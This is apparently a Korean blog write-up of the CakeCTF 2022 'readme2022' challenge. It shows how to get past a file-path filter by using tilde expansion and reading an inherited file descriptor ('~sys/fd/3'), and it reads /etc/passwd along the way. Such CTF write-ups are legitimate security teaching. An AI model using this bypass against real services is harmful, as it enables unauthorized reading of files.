CakeCTF 2022 - readme2022 (misc)

분석 환경: Ubuntu 20.04
사용자 제공 파일: 소스코드(python)

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import os

try:
f = open("/flag.txt", "r")
except:
print("[-] Flag not found. If this message shows up")
print(" on the remote server, please report to amdin.")

if __name__ == '__main__':
filepath = input("filepath: ")
if filepath.startswith("/"):
exit("[-] Filepath must not start with '/'")
elif '..' in filepath:
exit("[-] Filepath must not contain '..'")

filepath = os.path.expanduser(filepath)
try:
print(open(filepath, "r").read())
except:
exit("[-] Could not open file")

제공된 server.py 소스코드 전문이다.

코드를 읽다보면 뭔가 핵심인 것 같은 부분을 찾을 수 있다.

1
filepath = os.path.expanduser(filepath)

filepath~<username>를 입력한다면 home 디렉토리 path가 바뀌게 되는데 이것을 이용하여 문제를 푸는 것이다.

소스코드가 제공되었으니까 filepath를 출력해서 확인해보자.

1
2
3
4
5
6
7
8
jir4vvit@ubuntu:~/ctf/cake/readme2022$ python3 server.py 
filepath: ~
/home/jir4vvit
[-] Could not open file
jir4vvit@ubuntu:~/ctf/cake/readme2022$ python3 server.py
filepath: ~test
/home/test
[-] Could not open file

이런 느낌이다..

/etc/passwd을 확인하면 아래와 같은 정보가 있는데,

1
sys:x:3:3:sys:/dev:/usr/sbin/nologin

sys 사용자의 home 디렉토리가 /dev인 것을 알 수 있다.

더불어 문제에서 /flag.txt를 open하고 close하지 않았음으로 file descriptor가 계속 살아있음을 알 수 있다. (!)

Solve

1
2
3
jir4vvit@ubuntu:~/ctf/cake/readme2022$ python3 server.py
filepath: ~sys/fd/3
flag{fake_flag}

설명을 조금 추가하자면, 지금 sys 사용자의 홈 디렉토리로 변경되었으니 /dev가 filepath(homepath)가 되었고, 정확히는 /dev/fd/3에 접근한 것이다.

More

개인적으로 재미있는 문제라고 생각되어 블로그에 꼭 기록하고 싶었다.

아, File Descriptor에 대한 설명은 나의 과거 티스토리 블로그에 있다. ㅎ